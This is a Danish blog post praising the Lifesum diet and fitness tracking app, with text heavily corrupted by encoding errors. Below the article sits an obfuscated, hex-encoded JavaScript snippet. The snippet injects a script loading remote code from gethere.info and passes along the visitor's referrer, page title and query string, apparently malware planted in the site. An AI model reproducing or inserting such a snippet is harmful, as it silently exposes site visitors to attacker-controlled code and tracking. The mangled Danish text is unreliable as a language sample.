FA? styr pA? din vA�gt

Gratis træningsprogrammer m.m.

FA? styr pA? din vA�gt

Lifesum-iPhone_app

Sundhed? Kalorieindhold? Mad? TrA�ning? Hvordan holder man dog styr pA? alle disse informationer? Det spA?rger jeg ofte mig selv om. Lige indtil jeg faldte over denne super smarte app til telefonen a�� sA? jeg gav den et forsA?g. Den findes bA?de til ios og Android.

Lifesum kaldes den, man opretter sig enten med Facebook, Google+ eller en mail man indtaster. Der vil intet blive postet pA? vA�ggen pA? Facebook, med mindre man har godkendt eller postet det selv.

Den fungerer pA? en mA?de, sA? man har nem overblik over bA?de vA�ske, mad og trA�ning. Det hele kan scannes eller indtastes manuelt, samt man kan tilfA?je mA?ltider man jA�vnligt indtager, sA?dan at man bare skal trykke apotek tilfA?j.A�A?verst i appa��en har man overblik pA? de kalorier man har tilbage i lA?bet af dagen, samt hvor meget af det man har indtaget der har vA�ret henholdsvis kulhydrater, proteiner og fedt.

Derudover har Lifesum denne helt fantastiske egenskab, at den i lA?bet af dagen minder en om at drikke vand, mange mennesker glemmer desvA�rre at drikke nok vand i lA?bet af dagen.A�Det er utroligt vigtigt at indtage nok vand i lA?bet af dagen, man skal indtage mellem 2-3 liter vand i lA?bet af en dag, alt afhA�ngig af sin kropsvA�gt.

Jeg kan klart anbefale denne app, bA?de fordi den er nem at bruge og sA? har den et stort indhold af valgmuligheder af madvarer, som ligger lige til at tilfA?je til sine daglige mA?ltider. Hvis man ikke gider at bruge sin tid pA? at sA?ge efter sin mad kan man bare scanne den og jeg har endnu ikke fundet nogle varer som den ikke har kunne scanne.

Derudover er denne appa��s muligheder utrolige store selv inde i den del som er gratis. Man kan selvfA?lgelig vA�lge at kA?be sig til guldbruger hvis man vil have flere muligheder.A�Personligt bruger jeg kun den gratis version a�� der er rigeligt med information og muligheder for at fA?lge med i sin kost og trA�ning.

Find appen her:A�Lifesum

 

 

 

 

var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}